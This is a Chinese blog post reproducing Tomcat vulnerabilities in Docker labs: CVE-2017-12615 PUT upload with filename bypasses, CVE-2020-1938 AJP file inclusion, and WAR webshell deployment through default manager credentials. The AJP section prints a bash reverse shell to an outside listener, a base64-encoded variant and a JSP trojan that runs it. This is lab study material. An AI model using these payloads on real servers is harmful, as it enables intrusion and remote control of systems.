{"id":109,"date":"2022-03-30T14:19:19","date_gmt":"2022-03-30T06:19:19","guid":{"rendered":"http:\/\/47.118.40.97:8082\/?p=109"},"modified":"2022-04-21T11:23:33","modified_gmt":"2022-04-21T03:23:33","slug":"tomcat","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=109","title":{"rendered":"Tomcat\u6f0f\u6d1e"},"content":{"rendered":"<h2>\u7b80\u4ecb<\/h2>\n<p>Tomcat\u662fApache \u8f6f\u4ef6\u57fa\u91d1\u4f1a\uff08Apache Software Foundation\uff09\u7684Jakarta \u9879\u76ee\u4e2d\u7684\u4e00\u4e2a\u6838\u5fc3\u9879\u76ee\uff0c\u7531Apache\u3001Sun  \u548c\u5176\u4ed6\u4e00\u4e9b\u516c\u53f8\u53ca\u4e2a\u4eba\u5171\u540c\u5f00\u53d1\u800c\u6210\u3002\u7531\u4e8e\u6709\u4e86Sun \u7684\u53c2\u4e0e\u548c\u652f\u6301\uff0c\u6700\u65b0\u7684Servlet \u548cJSP \u89c4\u8303\u603b\u662f\u80fd\u5728Tomcat  \u4e2d\u5f97\u5230\u4f53\u73b0\uff0cTomcat 5\u652f\u6301\u6700\u65b0\u7684Servlet 2.4 \u548cJSP 2.0 \u89c4\u8303\u3002\u56e0\u4e3aTomcat  \u6280\u672f\u5148\u8fdb\u3001\u6027\u80fd\u7a33\u5b9a\uff0c\u800c\u4e14\u514d\u8d39\uff0c\u56e0\u800c\u6df1\u53d7Java \u7231\u597d\u8005\u7684\u559c\u7231\u5e76\u5f97\u5230\u4e86\u90e8\u5206\u8f6f\u4ef6\u5f00\u53d1\u5546\u7684\u8ba4\u53ef\uff0c\u6210\u4e3a\u76ee\u524d\u6bd4\u8f83\u6d41\u884c\u7684Web \u5e94\u7528\u670d\u52a1\u5668\u3002<\/p>\n<p>Tomcat \u670d\u52a1\u5668\u662f\u4e00\u4e2a\u514d\u8d39\u7684\u5f00\u653e\u6e90\u4ee3\u7801\u7684Web  \u5e94\u7528\u670d\u52a1\u5668\uff0c\u5c5e\u4e8e\u8f7b\u91cf\u7ea7\u5e94\u7528\u670d\u52a1\u5668\uff0c\u5728\u4e2d\u5c0f\u578b\u7cfb\u7edf\u548c\u5e76\u53d1\u8bbf\u95ee\u7528\u6237\u4e0d\u662f\u5f88\u591a\u7684\u573a\u5408\u4e0b\u88ab\u666e\u904d\u4f7f\u7528\uff0c\u662f\u5f00\u53d1\u548c\u8c03\u8bd5JSP  \u7a0b\u5e8f\u7684\u9996\u9009\u3002\u5bf9\u4e8e\u4e00\u4e2a\u521d\u5b66\u8005\u6765\u8bf4\uff0c\u53ef\u4ee5\u8fd9\u6837\u8ba4\u4e3a\uff0c\u5f53\u5728\u4e00\u53f0\u673a\u5668\u4e0a\u914d\u7f6e\u597dApache  \u670d\u52a1\u5668\uff0c\u53ef\u5229\u7528\u5b83\u54cd\u5e94HTML\uff08\u6807\u51c6\u901a\u7528\u6807\u8bb0\u8bed\u8a00\u4e0b\u7684\u4e00\u4e2a\u5e94\u7528\uff09\u9875\u9762\u7684\u8bbf\u95ee\u8bf7\u6c42\u3002\u5b9e\u9645\u4e0aTomcat\u662fApache  \u670d\u52a1\u5668\u7684\u6269\u5c55\uff0c\u4f46\u8fd0\u884c\u65f6\u5b83\u662f\u72ec\u7acb\u8fd0\u884c\u7684\uff0c\u6240\u4ee5\u5f53\u4f60\u8fd0\u884ctomcat \u65f6\uff0c\u5b83\u5b9e\u9645\u4e0a\u4f5c\u4e3a\u4e00\u4e2a\u4e0eApache \u72ec\u7acb\u7684\u8fdb\u7a0b\u5355\u72ec\u8fd0\u884c\u7684\u3002<\/p>\n<p>\u8bc0\u7a8d\u662f\uff0c\u5f53\u914d\u7f6e\u6b63\u786e\u65f6\uff0cApache \u4e3aHTML\u9875\u9762\u670d\u52a1\uff0c\u800cTomcat \u5b9e\u9645\u4e0a\u8fd0\u884cJSP  \u9875\u9762\u548cServlet\u3002\u53e6\u5916\uff0cTomcat\u548cIIS\u7b49Web\u670d\u52a1\u5668\u4e00\u6837\uff0c\u5177\u6709\u5904\u7406HTML\u9875\u9762\u7684\u529f\u80fd\uff0c\u53e6\u5916\u5b83\u8fd8\u662f\u4e00\u4e2aServlet\u548cJSP\u5bb9\u5668\uff0c\u72ec\u7acb\u7684Servlet\u5bb9\u5668\u662fTomcat\u7684\u9ed8\u8ba4\u6a21\u5f0f\u3002\u4e0d\u8fc7\uff0cTomcat\u5904\u7406\u9759\u6001HTML\u7684\u80fd\u529b\u4e0d\u5982Apache\u670d\u52a1\u5668\u3002<\/p>\n<p>CVE-2017-12615\u5bf9\u5e94\u7684\u6f0f\u6d1e\u4e3a\u4efb\u610f\u6587\u4ef6\u5199\u5165\uff0c\u4e3b\u8981\u5f71\u54cd\u7684\u662fTomcat\u76847.0.0-7.0.81\u8fd9\u51e0\u4e2a\u7248\u672c<\/p>\n<h2>CVE-2017-12615<\/h2>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u7531\u4e8e\u914d\u7f6e\u4e0d\u5f53\uff08\u975e\u9ed8\u8ba4\u914d\u7f6e\uff09\uff0c\u5c06\u914d\u7f6e\u6587\u4ef6<code>conf\/web.xml<\/code>\u4e2d\u7684<code>readonly<\/code>\u8bbe\u7f6e\u4e3a\u4e86 false\uff0c\u5bfc\u81f4\u53ef\u4ee5\u4f7f\u7528PUT\u65b9\u6cd5\u4e0a\u4f20\u4efb\u610f\u6587\u4ef6\uff0c\u4f46\u9650\u5236\u4e86jsp\u540e\u7f00\u7684\u4e0a\u4f20<\/p>\n<p>\u6839\u636e\u63cf\u8ff0\uff0c\u5728 Windows \u670d\u52a1\u5668\u4e0b\uff0c\u5c06 readonly \u53c2\u6570\u8bbe\u7f6e\u4e3a false \u65f6\uff0c\u5373\u53ef\u901a\u8fc7 PUT \u65b9\u5f0f\u521b\u5efa\u4e00\u4e2a JSP \u6587\u4ef6\uff0c\u5e76\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/p>\n<p>\u901a\u8fc7\u9605\u8bfb conf\/web.xml \u6587\u4ef6\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0c\u9ed8\u8ba4 readonly \u4e3a true\uff0c\u5f53 readonly \u8bbe\u7f6e\u4e3a false \u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7 PUT \/ DELETE \u8fdb\u884c\u6587\u4ef6\u64cd\u63a7<\/p>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u8fd9\u91cc\u4f7f\u7528vuluhub\u7684docker\u8fdb\u884c\u6f0f\u6d1e\u590d\u73b0<\/p>\n<p>\u9996\u5148\u8fdb\u5165CVE-2017-12615\u7684docker\u73af\u5883<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329153824740.png\" alt=\"image-20220329153824740\" \/><\/p>\n<p>\u8fd9\u91cc\u9996\u5148\u8fdb\u5165docker\u91cc\u67e5\u770b\u4e00\u4e0b<code>web.xml<\/code>\u7684\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc<code>readonly<\/code>\u8bbe\u7f6e\u4e3a<code>false<\/code>\uff0c\u6240\u4ee5\u5b58\u5728\u6f0f\u6d1e<\/p>\n<pre><code class=\"language-shell\">sudo docker exec -ti ec bash    \/\/\u8fdb\u5165docker\u5bb9\u5668\ncat conf\/web.xml | grep readonly<\/code><\/pre>\n<p>\u8fd9\u91cc\u9996\u5148\u8fdb\u5165docker\u91cc\u67e5\u770b\u4e00\u4e0b<code>web.xml<\/code>\u7684\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc<code>readonly<\/code>\u8bbe\u7f6e\u4e3a<code>false<\/code>\uff0c\u6240\u4ee5\u5b58\u5728\u6f0f\u6d1e<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329160254549.png\" alt=\"image-20220329160254549\" \/><\/p>\n<p>\u8bbf\u95ee8080\u7aef\u53e3<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329160409987.png\" alt=\"image-20220329160409987\" \/><\/p>\n<p>\u57288080\u7aef\u53e3\u8fdb\u884c\u6293\u5305\uff0c\u53d1\u73b0\u662f\u4e00\u4e2a<code>GET<\/code>\u65b9\u6cd5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329160720243.png\" alt=\"image-20220329160720243\" \/><\/p>\n<p>\u8fd9\u91cc\u9996\u5148\u6d4b\u8bd5\u4e00\u4e0b\uff0c\u6539\u4e3a<code>PUT<\/code>\u65b9\u6cd5\u5199\u5165\u4e00\u4e2a<code>test.txt<\/code>\uff0c\u8fd9\u91cc\u770b\u5230\u8fd4\u56de201\uff0c\u5e94\u8be5\u5df2\u7ecf\u4e0a\u4f20\u6210\u529f\u4e86<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329161107331.png\" alt=\"image-20220329161107331\" \/><\/p>\n<p>\u8fd9\u91cc\u8fdb\u5165docker\u67e5\u770b\u4e00\u4e0b\u5df2\u7ecf\u5199\u5165\u6210\u529f\u4e86<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329161206826.png\" alt=\"image-20220329161206826\" \/><\/p>\n<p>\u4f7f\u7528PUT\u65b9\u6cd5\u4e0a\u4f20\u4efb\u610f\u6587\u4ef6\uff0c\u4f46\u9650\u5236\u4e86jsp\u540e\u7f00\u7684\u4e0a\u4f20\uff0c\u8fd9\u91cc\u9996\u5148\u4f7f\u7528PUT\u65b9\u6cd5\u76f4\u63a5\u4e0a\u4f20\u4e00\u4e2a\u51b0\u874e\u7684jsp\u4e0a\u53bb\uff0c\u53d1\u73b0\u8fd4\u56de\u7684\u662f404\uff0c\u5e94\u8be5\u662f\u88ab\u62e6\u622a\u4e86<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329161628674.png\" alt=\"image-20220329161628674\" \/><\/p>\n<p>\u8fd9\u91cc\u5c31\u9700\u8981\u8fdb\u884c\u7ed5\u8fc7\uff0c\u8fd9\u91cc\u7ed5\u8fc7\u6709\u4e09\u79cd\u65b9\u6cd5<\/p>\n<pre><code>Windows\u4e0b\u4e0d\u5141\u8bb8\u6587\u4ef6\u4ee5\u7a7a\u683c\u7ed3\u5c3e\n\u4ee5PUT \/a001.jsp%20 HTTP\/1.1\u4e0a\u4f20\u5230 Windows\u4f1a\u88ab\u81ea\u52a8\u53bb\u6389\u672b\u5c3e\u7a7a\u683c\nWindows NTFS\u6d41\nPut\/a001.jsp::$DATA HTTP\/1.1\n\/\u5728\u6587\u4ef6\u540d\u4e2d\u662f\u975e\u6cd5\u7684\uff0c\u4e5f\u4f1a\u88ab\u53bb\u9664\uff08Linux\/Windows\uff09\nPut\/a001.jsp\/http:\/1.1<\/code><\/pre>\n<p>\u9996\u5148\u4f7f\u7528<code>%20<\/code>\u7ed5\u8fc7\u3002\u6211\u4eec\u77e5\u9053<code>%20<\/code>\u5bf9\u5e94\u7684\u662f\u7a7a\u683c\uff0c\u5728windows\u4e2d\u82e5\u6587\u4ef6\u8fd9\u91cc\u5728jsp\u540e\u9762\u6dfb\u52a0<code>%20<\/code>\u5373\u53ef\u8fbe\u5230\u81ea\u52a8\u62b9\u53bb\u7a7a\u683c\u7684\u6548\u679c\u3002\u8fd9\u91cc\u770b\u5230\u8fd4\u56de201\u5df2\u7ecf\u4e0a\u4f20\u6210\u529f\u4e86<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329161821154.png\" alt=\"image-20220329161821154\" \/><\/p>\n<p>\u8fdb\u5165docker\u67e5\u770b\u4e00\u4e0b\uff0c\u786e\u8ba4\u662f\u4e0a\u4f20\u4e0a\u53bb\u4e86<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329161857910.png\" alt=\"image-20220329161857910\" \/><\/p>\n<p>\u7b2c\u4e8c\u79cd\u65b9\u6cd5\u4e3a\u5728jsp\u540e\u7f00\u540e\u9762\u4f7f\u7528<code>\/<\/code>\uff0c\u56e0\u4e3a<code>\/<\/code>\u5728\u6587\u4ef6\u540d\u4e2d\u662f\u975e\u6cd5\u7684\uff0c\u5728windows\u548clinux\u4e2d\u90fd\u4f1a\u81ea\u52a8\u53bb\u9664\u3002\u6839\u636e\u8fd9\u4e2a\u7279\u6027\uff0c\u4e0a\u4f20<code>\/ice1.jsp\/<\/code>\uff0c\u770b\u5230\u8fd4\u56de201<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329162018669.png\" alt=\"image-20220329162018669\" \/><\/p>\n<p>\u7b2c\u4e09\u79cd\u65b9\u6cd5\u5c31\u662f\u4f7f\u7528Windows NTFS\u6d41\uff0c\u5728jsp\u540e\u9762\u6dfb\u52a0<code>::$DATA<\/code>\uff0c\u770b\u5230\u8fd4\u56de201\uff0c\u4e0a\u4f20\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329162047897.png\" alt=\"image-20220329162047897\" \/><\/p>\n<p>\u62ff\u5230webshell<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220329171349353.png\" alt=\"image-20220329171349353\" \/><\/p>\n<h2>CVE-2020-1938<\/h2>\n<p>CVE-2020-1938\u4e3aTomcat AJP\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002\u7531\u957f\u4ead\u79d1\u6280\u5b89\u5168\u7814\u7a76\u5458\u53d1\u73b0\u7684\u5b58\u5728\u4e8e Tomcat\u4e2d\u7684\u5b89\u5168\u6f0f\u6d1e\uff0c\u7531\u4e8e Tomcat AJP\u534f\u8bae\u8bbe\u8ba1\u4e0a\u5b58\u5728\u7f3a\u9677\uff0c\u653b\u51fb\u8005\u901a\u8fc7  Tomcat AJP Connector\u53ef\u4ee5\u8bfb\u53d6\u6216\u5305\u542b Tomcat\u4e0a\u6240\u6709 webapp\u76ee\u5f55\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\uff0c\u4f8b\u5982\u53ef\u4ee5\u8bfb\u53d6  webapp\u914d\u7f6e\u6587\u4ef6\u6216\u6e90\u7801\u3002<\/p>\n<p>\u6b64\u5916\u5728\u76ee\u6807\u5e94\u7528\u6709\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u7684\u60c5\u51b5\u4e0b\uff0c\u914d\u5408\u6587\u4ef6\u5305\u542b\u7684\u5229\u7528\u8fd8\u53ef\u4ee5\u8fbe\u5230\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u7684\u5371\u5bb3\u3002<\/p>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>Tomcat \u914d\u7f6e\u4e86\u4e24\u4e2aConnecto\uff0c\u5b83\u4eec\u5206\u522b\u662f HTTP \u548c AJP  \uff1aHTTP\u9ed8\u8ba4\u7aef\u53e3\u4e3a8080\uff0c\u5904\u7406http\u8bf7\u6c42\uff0c\u800cAJP\u9ed8\u8ba4\u7aef\u53e38009\uff0c\u7528\u4e8e\u5904\u7406 AJP  \u534f\u8bae\u7684\u8bf7\u6c42\uff0c\u800cAJP\u6bd4http\u66f4\u52a0\u4f18\u5316\uff0c\u591a\u7528\u4e8e\u53cd\u5411\u3001\u96c6\u7fa4\u7b49\uff0c\u6f0f\u6d1e\u7531\u4e8eTomcat  AJP\u534f\u8bae\u5b58\u5728\u7f3a\u9677\u800c\u5bfc\u81f4\uff0c\u653b\u51fb\u8005\u5229\u7528\u8be5\u6f0f\u6d1e\u53ef\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u53c2\u6570\uff0c\u8bfb\u53d6\u670d\u52a1\u5668webapp\u4e0b\u7684\u4efb\u610f\u6587\u4ef6\u4ee5\u53ca\u53ef\u4ee5\u5305\u542b\u4efb\u610f\u6587\u4ef6\uff0c\u5982\u679c\u6709\u67d0\u4e0a\u4f20\u70b9\uff0c\u4e0a\u4f20\u56fe\u7247\u9a6c\u7b49\u7b49\uff0c\u5373\u53ef\u4ee5\u83b7\u53d6shell<\/p>\n<p>tomcat\u9ed8\u8ba4\u7684conf\/server.xml\u4e2d\u914d\u7f6e\u4e862\u4e2aConnector\uff0c\u4e00\u4e2a\u4e3a8080\u7684\u5bf9\u5916\u63d0\u4f9b\u7684HTTP\u534f\u8bae\u7aef\u53e3\uff0c\u53e6\u5916\u4e00\u4e2a\u5c31\u662f\u9ed8\u8ba4\u76848009 AJP\u534f\u8bae\u7aef\u53e3\uff0c\u4e24\u4e2a\u7aef\u53e3\u9ed8\u8ba4\u5747\u76d1\u542c\u5728\u5916\u7f51ip<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330104429323.png\" alt=\"image-20220330104429323\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330104837085.png\" alt=\"image-20220330104837085\" \/><\/p>\n<p>tomcat\u5728\u63a5\u6536ajp\u8bf7\u6c42\u7684\u65f6\u5019\u8c03\u7528org.apache.coyote.ajp.AjpProcessor\u6765\u5904\u7406ajp\u6d88\u606f\uff0cprepareRequest\u5c06ajp\u91cc\u9762\u7684\u5185\u5bb9\u53d6\u51fa\u6765\u8bbe\u7f6e\u6210request\u5bf9\u8c61\u7684Attribute\u5c5e\u6027<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330104922665.png\" alt=\"image-20220330104922665\" \/><\/p>\n<p>\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u6b64\u79cd\u7279\u6027\u4ece\u800c\u53ef\u4ee5\u63a7\u5236request\u5bf9\u8c61\u7684\u4e0b\u9762\u4e09\u4e2aAttribute\u5c5e\u6027<\/p>\n<pre><code class=\"language-java\">javax.servlet.include.request_uri\njavax.servlet.include.path_info\njavax.servlet.include.servlet_path<\/code><\/pre>\n<p>\u7136\u540e\u5c01\u88c5\u6210\u5bf9\u5e94\u7684request\u4e4b\u540e,\u7ee7\u7eed\u8d70servlet\u7684\u6620\u5c04\u6d41\u7a0b\u5982\u4e0b<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330105012678.png\" alt=\"image-20220330105012678\" \/><\/p>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u542f\u52a8CVE-2020-1938\u7684docker\u73af\u5883<\/p>\n<p>\u9996\u5148\u4f7f\u7528poc\u8fdb\u884c\u6f0f\u6d1e\u68c0\u6d4b\uff0c\u82e5\u5b58\u5728\u6f0f\u6d1e\u5219\u53ef\u4ee5\u67e5\u770bwebapps\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6<\/p>\n<pre><code>POC\u5168\u79f0\u201cproof of concept\u201d\u4e2d\u6587\u610f\u601d\u662f\uff1a\u6f0f\u6d1e\u6982\u5ff5\u9a8c\u8bc1\u3002\u901a\u5e38\u7531\u4e00\u6bb5\u6f0f\u6d1e\u9a8c\u8bc1\u4ee3\u7801\u6216\u8005\u6f0f\u6d1e\u68c0\u6d4b\u6570\u636e\u3002\u901a\u8fc7\u5bf9\u68c0\u6d4b\u76ee\u6807\u53d1\u9001\u6b64\u4ee3\u7801\u6216\u6570\u636e\u540e\uff0c\u901a\u8fc7\u88ab\u68c0\u6d4b\u76ee\u6807\u8fd4\u56de\u7684\u4fe1\u606f\u7279\u6b8a\u6027\uff0c\u5224\u65ad\u6f0f\u6d1e\u7684\u5b9e\u9645\u5b58\u5728\u4e0e\u5426<\/code><\/pre>\n<p>\u4f7f\u7528python3\u9700\u8981\u4fee\u6539<code>CNVD-2020-10487-Tomcat-Ajp-lfi.py<\/code>\u6587\u4ef6\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/p>\n<pre><code>self.socket.makefile(&quot;rb&quot;, bufsize=0) --&gt;change self.socket.makefile(&quot;rb&quot;, buffering=0)\nprint(&quot;&quot;.join([d.data for d in data])) --&gt;print(&quot;&quot;.join([d.data.decode() for d in data]))<\/code><\/pre>\n<p>\u67e5\u770b8009\u7aef\u53e3\u4e0b\u7684web.xml\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330112642143.png\" alt=\"image-20220330112642143\" \/><\/p>\n<p>\u4f7f\u7528bash\u53cd\u5f39shell<\/p>\n<pre><code class=\"language-shell\">bash -i &gt;&amp; \/dev\/tcp\/192.168.226.128\/8888 0&gt;&amp;1<\/code><\/pre>\n<p>\u56e0\u4e3a\u662fjava\u7684\u539f\u56e0\u6240\u4ee5\u9700\u8981\u8f6c\u6362\u4e00\u4e0b<\/p>\n<pre><code class=\"language-shell\">bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMjgvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}<\/code><\/pre>\n<p>\u751f\u6210\u4e00\u4e2a<code>test.txt<\/code>\uff0c\u8fd9\u91cc\u53ea\u9700\u8981\u6362payload\u5c31\u53ef\u4ee5<\/p>\n<pre><code class=\"language-jsp\">&lt;%    \njava.io.InputStream in = Runtime.getRuntime().exec(&quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMjgvODg4OCAwPiYxCg==}|{base64,-d}|{bash,-i}&quot;).getInputStream();\nint a = -1;    \nbyte[] b = new byte[2048];\nout.print(&quot;&lt;pre&gt;&quot;);\nwhile((a=in.read(b))!=-1){\n    out.println(new String(b));    \n}    \nout.print(&quot;&lt;\/pre&gt;&quot;);%&gt;<\/code><\/pre>\n<p>\u9700\u8981\u5c06\u8fd9\u4e2a\u6728\u9a6c\u4e0a\u4f20\u5230\u670d\u52a1\u5668\uff0c\u7531\u4e8e\u8fd9\u91cc\u6ca1\u6709\u8fd9\u4e2a\u4e0a\u4f20\u529f\u80fd\uff0c\u6240\u4ee5\u6211\u4eec\u8fd9\u91cc\u5c31\u76f4\u63a5\u628a\u8fd9\u4e2a\u6728\u9a6c\u590d\u5236\u8fc7\u53bb<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330124435310.png\" alt=\"image-20220330124435310\" \/><\/p>\n<p>\u5728\u8fd9\u91cc\u6709\u4e00\u4e2atxt\u6587\u4ef6\uff0c\u6309\u9053\u7406\u6765\u8bf4\u662f\u4e0d\u89e3\u6790\u7684\uff0c\u901a\u8fc7\u53e6\u4e00\u4e2a\u811a\u672c\u8fdb\u884c\u89e3\u6790<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330131341413.png\" alt=\"image-20220330131341413\" \/><\/p>\n<p>\u518d\u6253\u5f00msf\u6765\u53bb\u5f00\u542f  \u76d1\u542c\uff0c\u90a3\u4e48\u5bf9\u65b9\u5305\u542b\u8fd9\u4e2a\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4e3b\u673a\u5728kail\u8fd9\u91cc\u5c31\u53ef\u4ee5\u6210\u529f\u4e0a\u7ebf<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330131402302.png\" alt=\"image-20220330131402302\" \/><\/p>\n<p>\u6210\u529f\u83b7\u53d6shell<\/p>\n<h2>\u5f31\u53e3\u4ee4&amp;war\u8fdc\u7a0b\u90e8\u7f72<\/h2>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u5728tomcat8\u73af\u5883\u4e0b\u9ed8\u8ba4\u8fdb\u5165\u540e\u53f0\u7684\u5bc6\u7801\u4e3atomcat\/tomcat\uff0c\u672a\u4fee\u6539\u9020\u6210\u672a\u6388\u6743\u5373\u53ef\u8fdb\u5165\u540e\u53f0<\/p>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u8fdb\u5165<code>tomcat8<\/code>\u7684docker\u73af\u5883<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330132719953.png\" alt=\"image-20220330132719953\" \/><\/p>\n<p>\u8bbf\u95ee\u540e\u53f0\u7ba1\u7406\u5730\u5740\uff0c\u4f7f\u7528tomcat\/tomcat\u8fdb\u5165\u540e\u53f0<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330132848218.png\" alt=\"image-20220330132848218\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330132902332.png\" alt=\"image-20220330132902332\" \/><\/p>\n<p>\u770b\u5230\u8fd9\u91cc\u6709\u4e00\u4e2a\u4e0a\u4f20war\u5305\u7684\u5730\u65b9\uff0c\u8fd9\u91cc\u5f88\u591ajava\u7684\u4e2d\u95f4\u4ef6\u90fd\u53ef\u4ee5\u7528war\u8fdc\u7a0b\u90e8\u7f72\u6765\u62ffshell\uff0ctomcat\u4e5f\u4e0d\u4f8b\u5916<\/p>\n<p>\u9996\u5148\u5c06shell.jsp\u6253\u5305\u6210test.war<\/p>\n<pre><code class=\"language-shell\">jar -cvf test.war .<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330134057978.png\" alt=\"image-20220330134057978\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330134112978.png\" alt=\"image-20220330134112978\" \/><\/p>\n<p>\u70b9\u51fb\u4e0a\u4f20\u5373\u53ef\u770b\u5230\u4e0a\u4f20\u7684test.war\u5df2\u7ecf\u90e8\u7f72\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330134443209.png\" alt=\"image-20220330134443209\" \/><\/p>\n<p>\u8bbf\u95ee\u4e00\u4e0b\u6ca1\u6709\u62a5\u9519404\u90a3\u4e48\u5e94\u8be5\u5df2\u7ecf\u4e0a\u4f20\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330134532255.png\" alt=\"image-20220330134532255\" \/><\/p>\n<p>\u4f7f\u7528\u51b0\u874e\u8fde\u63a5\u5373\u53ef\u5f97\u5230shell<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135015085.png\" alt=\"image-20220330135015085\" \/><\/p>\n<p>\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u7528msf\u91cc\u9762\u7684<code>exploit\/multi\/http\/tomcat_mgr_upload <\/code>\u6a21\u5757\uff0c\u5728\u8fd9\u91cc\u4e0d\u505a\u6f14\u793a<\/p>\n<h2>CVE-2019-0232<\/h2>\n<p>CVE-2019-0232\u4e3aApache Tomcat RCE<\/p>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u6f0f\u6d1e\u76f8\u5173\u7684\u4ee3\u7801\u5728 tomcat\\java\\org\\apache\\catalina\\servlets\\CGIServlet.java  \u4e2d\uff0cCGIServlet\u63d0\u4f9b\u4e86\u4e00\u4e2acgi\u7684\u8c03\u7528\u63a5\u53e3\uff0c\u5728\u542f\u7528 enableCmdLineArguments \u53c2\u6570\u65f6\uff0c\u4f1a\u6839\u636eRFC  3875\u6765\u4eceUrl\u53c2\u6570\u4e2d\u751f\u6210\u547d\u4ee4\u884c\u53c2\u6570\uff0c\u5e76\u628a\u53c2\u6570\u4f20\u9012\u81f3Java\u7684 Runtime \u6267\u884c\u3002\u8fd9\u4e2a\u6f0f\u6d1e\u662f\u56e0\u4e3a  Runtime.getRuntime().exec \u5728Windows\u4e2d\u548cLinux\u4e2d\u5e95\u5c42\u5b9e\u73b0\u4e0d\u540c\u5bfc\u81f4\u7684<\/p>\n<p>Java\u7684 <code>Runtime.getRuntime().exec<\/code> \u5728CGI\u8c03\u7528\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5f88\u96be\u6709\u547d\u4ee4\u6ce8\u5165\u3002\u800cWindows\u4e2d\u521b\u5efa\u8fdb\u7a0b\u4f7f\u7528\u7684\u662f <code>CreateProcess<\/code> \uff0c\u4f1a\u5c06\u53c2\u6570\u5408\u5e76\u6210\u5b57\u7b26\u4e32\uff0c\u4f5c\u4e3a <code>lpComandLine<\/code> \u4f20\u5165 <code>CreateProcess<\/code> \u3002\u7a0b\u5e8f\u542f\u52a8\u540e\u8c03\u7528 <code>GetCommandLine<\/code> \u83b7\u53d6\u53c2\u6570\uff0c\u5e76\u8c03\u7528 <code>CommandLineToArgvW<\/code> \u4f20\u81f3 argv\u3002\u5728Windows\u4e2d\uff0c\u5f53 <code>CreateProcess<\/code> \u4e2d\u7684\u53c2\u6570\u4e3a bat \u6587\u4ef6\u6216\u662f cmd \u6587\u4ef6\u65f6\uff0c\u4f1a\u8c03\u7528 <code>cmd.exe<\/code> , \u6545\u6700\u540e\u4f1a\u53d8\u6210 <code>cmd.exe \/c &quot;arg.bat &amp; dir&quot;<\/code>\uff0c\u800cJava\u7684\u8c03\u7528\u8fc7\u7a0b\u5e76\u6ca1\u6709\u505a\u4efb\u4f55\u7684\u8f6c\u4e49\uff0c\u6240\u4ee5\u5728Windows\u4e0b\u4f1a\u5b58\u5728\u6f0f\u6d1e<\/p>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<p>\u542f\u52a8tomcat<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135537806.png\" alt=\"image-20220330135537806\" \/><\/p>\n<p>\u8bbf\u95ee\u4e00\u4e0b\u5df2\u7ecf\u542f\u52a8\u6210\u529f<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220330135606537.png\" alt=\"image-20220330135606537\" 